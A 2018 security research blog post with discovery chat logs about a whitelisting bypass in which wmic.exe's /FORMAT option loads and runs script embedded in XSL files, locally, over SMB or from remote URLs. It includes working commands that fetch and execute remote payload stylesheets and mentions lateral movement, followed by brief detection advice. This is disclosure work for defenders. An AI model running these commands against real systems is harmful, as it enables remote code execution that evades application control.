Tuesday, April 17, 2018

WMIC.EXE Whitelisting Bypass - Hacking with Style, Stylesheets


tl;dr  
WMIC can invoke XSL (eXtensible Stylesheet Language) scripts, either locally or from a URL.
Local File
wmic process list /FORMAT:evil.xsl
Remote File
wmic os get /FORMAT:”https://example.com/evil.xsl

This is probably useful in environments where Windows Script Host is disabled or blocked.

Like most research, it does not happen in isolation, and it starts with a good question.

I hope to share my thought process and discovery for a new Application Whitelisting Bypass technique that I recently discovered with Matt Graeber, @mattifestation.

Time to discover/test about 2 hours. What follows are a series of chats and questions on how we discovered this. Its raw and unfiltered to help share the ideas and how it was discovered.

I had been interested in some attacks recently using a tool called msxsl.exe, this tool will execute scripts locally or remotely. So the question I asked was:

? Are there any built in tools that can execute xsl scripts?

First action I took was to search the entire drive for any existing xsl files.

There might be several on your systems. On mine there are dozens, even if you confine the search to C:\Windows…

These were of particular interest.

Directory of c:\Windows\System32\wbem

09/29/2017  07:42 AM           623 rawxml.xsl
09/29/2017  07:42 AM         6,278 texttable.xsl
09/29/2017  07:42 AM         2,766 textvaluelist.xsl
              3 File(s)    9,667 bytes

So, I began the next level search…  Are there any default .xsl file that contain the necessary ms:script or msxsl:script tags?

This led me to the really interesting file here,  texttable.xsl.



subtee [7:56 AM]
Actually, now I'm onto something REALLY interesting.
I found this file on win10 in wbem called texttable.xsl
It has a ton of vbs in it
not sure there is any integrity checks on that file.

That was enough to trigger my full interest. :)

At this point all I knew was I had a file that would execute vbs from an xsl file. This is very promising… But how to trigger?

subtee [7:57 AM]
check it out.  WTF is this and what calls it are my next questions
I guess it could be catalog signed?
C:\Windows\System32\wbem\texttable.xsl

This question would soon be answered after a bit of poking and pinging Matt Graeber.

Some google searches for any references to this file etc… Lead me to this:


This let Matt to point out the way to call that file was something like this:

“This example ought to exec the VBS in the XSL: `wmic process LIST /FORMAT:TABLE`”

A bit of looking at ProcMon and we confirmed that this indeed was how that file l was loaded.
I decided to change the /format: parameter to see if I could influence the search and possible get it to load my own file.

subtee [8:16 AM]
look at it searching for xsl with this.
C:\>wmic process LIST /FORMAT:wtf.xsl


So, NOW we have something interesting. We have wmic searching for a user supplied stylesheet.

Who cares about stylesheets?  Well, there are some really interesting tags that allow you to embed JScript or VBScript. If this executes those, it will likely execute in a constrained mode like AppLocker or where Windows Script Host has been disabled.

2002 Article :)

msxsl:script tag

subtee [8:27 AM]
Man, I feel like there is something there
I can't trigger exec yet, but I think we are so close


A bit of poking with the file structure and location and…

subtee [9:03 AM]
BOOM! just got it





subtee [9:05 AM]
`wmic process LIST /FORMAT:texttable.xsl`
lol
just put it in my c:\Tools folder
Let me know if you get to pop notepad


After some validation by both Matt Graeber and Matt Nelson @enigma0x3 , it was confirmed that we had an unconstrained script host bypass for Windows Defender Application Control
(aka Device Guard)

The importance of this is that this primitive leads to arbitrary binary execution, thanks to the work and techniques developed James Forshaw @tiraniddo.

But we are just getting started!  It gets way better.

What we have so far is this:

wmic os get /format:”MYXSLFILE.xsl”  To trigger execution.

subtee [9:15 AM]
Who would have thought wmic processes xslt lol, I can't stop laughing

subtee [9:50 AM]
This can probably be used for some lateral movement, exec wmic on the target and have it reach back and pull the xsl file like this `wmic process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"`
You can even drop the xsl and it resolves `wmic process get brief /format:"\\127.0.0.1\c$\Tools\csv"`
to try to blend in
... this works too
“wmic process get brief /format:"https://www.example.com/file.xsl”

SO here we have it, another tool, like regsvr32.exe that can accept a script path, or url and execute it.

Much like regsvr32, wmic is proxy aware, and works over TLS.

Sample, Minimalist Payload here:


Can be invoked like:

wmic os get /format:”https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/78065ca63504c9a0f41107137fbe861de487e4d4/minimalist”

Additional Example that leverages Activation Context to load .NET libraries, as presented by James Forshaw at DerbyCon 2017 (http://www.irongeek.com/i.php?page=videos/derbycon7/s13-the-net-inter-operability-operation-james-forshaw)

wmic os get /format:”wmic os get /format:"https://gist.githubusercontent.com/caseysmithrc/4932a527e326de68f3bd212913d02c78/raw/8dd9696e937a7e66972a2e95c0d65a83ec9e3d7c/dotnet.xsl"



Example Detection Criteria:
  1. url on command line
  2. wmic external network connections

Guidance would be to block/ban wmic if it is not needed.


That’s all folks.




Cheers,


Casey
@subTee



Many thanks to Matt Graeber and Matt Nelson, who constantly help push me forward.